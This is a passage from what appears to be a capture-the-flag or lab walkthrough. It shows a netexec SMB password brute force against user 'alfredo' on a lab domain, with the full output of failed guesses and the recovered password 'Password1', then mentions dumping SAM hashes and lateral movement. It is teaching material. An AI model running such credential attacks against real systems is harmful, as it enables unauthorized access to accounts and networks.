6. Password Brute Force via SMB Login
Now trying Password Brute Forcing via SMB — using a valid username (alfredo) to guess the correct password!
🔧 Tool: netexec
netexec(Previously known as crackmapexec)
It checks if any password from your list works for the SMB login.
🧪 Command Example:
netexec smb 192.168.10.4 -u 'alfredo' -p /usr/share/wordlists/fasttrack.txt🔍 What it does:
🔐 Tries each password in
fasttrack.txt✅ If it finds the correct one, you’ll see:
[+] megachange.nyx\alfredo:CorrectPassword❌ If not, it'll show
STATUS_LOGON_FAILURErepeatedly
The Result :
kali㉿kali)-[~/Desktop]
└─$ netexec smb 192.168.10.4 -u 'alfredo' -p /usr/share/wordlists/fasttrack.txt
SMB 192.168.10.4 445 CHANGE [*] Windows 10 / Server 2019 Build 17763 x64 (name:CHANGE) (domain:megachange.nyx) (signing:True) (SMBv1:False)
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2017 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Fall2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:fall2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2021 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Fall2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:fall2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2020 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Fall2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:fall2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2019 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Fall2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:fall2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2018 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2016 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2015 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2014 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Spring2013 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2017 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2016 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2015 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2014 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:spring2013 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2017 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2016 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2015 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2014 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Summer2013 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2017 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2016 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2015 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2014 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:summer2013 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2017 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2016 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2015 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2014 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Autumn2013 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2017 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2016 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2015 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2014 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:autumn2013 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2017 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2016 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2015 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2014 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Winter2013 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2017 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2016 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2015 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2014 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:winter2013 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:P@55w0rd STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:P@ssw0rd! STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:P@55w0rd! STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:sqlsqlsqlsql STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:SQLSQLSQLSQL STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Welcome123 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Welcome1234 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:Welcome1212 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:PassSql12 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:network STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:networking STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:networks STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:test STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:testtest STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:testing STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:testing123 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:testsql STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:test-sql3 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:sqlsqlsqlsqlsql STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:bankbank STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:default STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:test STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:testing STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:password2 STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo: STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [-] megachange.nyx\alfredo:password STATUS_LOGON_FAILURE
SMB 192.168.10.4 445 CHANGE [+] megachange.nyx\alfredo:Password1
So, we found the correct password in the last line :
SMB 192.168.10.4 445 CHANGE [+] megachange.nyx\alfredo:Password1
SMB 192.168.10.4 445 CHANGE [+] megachange.nyx\alfredo:Password1 📌 Reminder:
Port 445 is SMB
SMB access with valid credentials means:
Browse shares
Dump SAM hashes
Possibly move laterally
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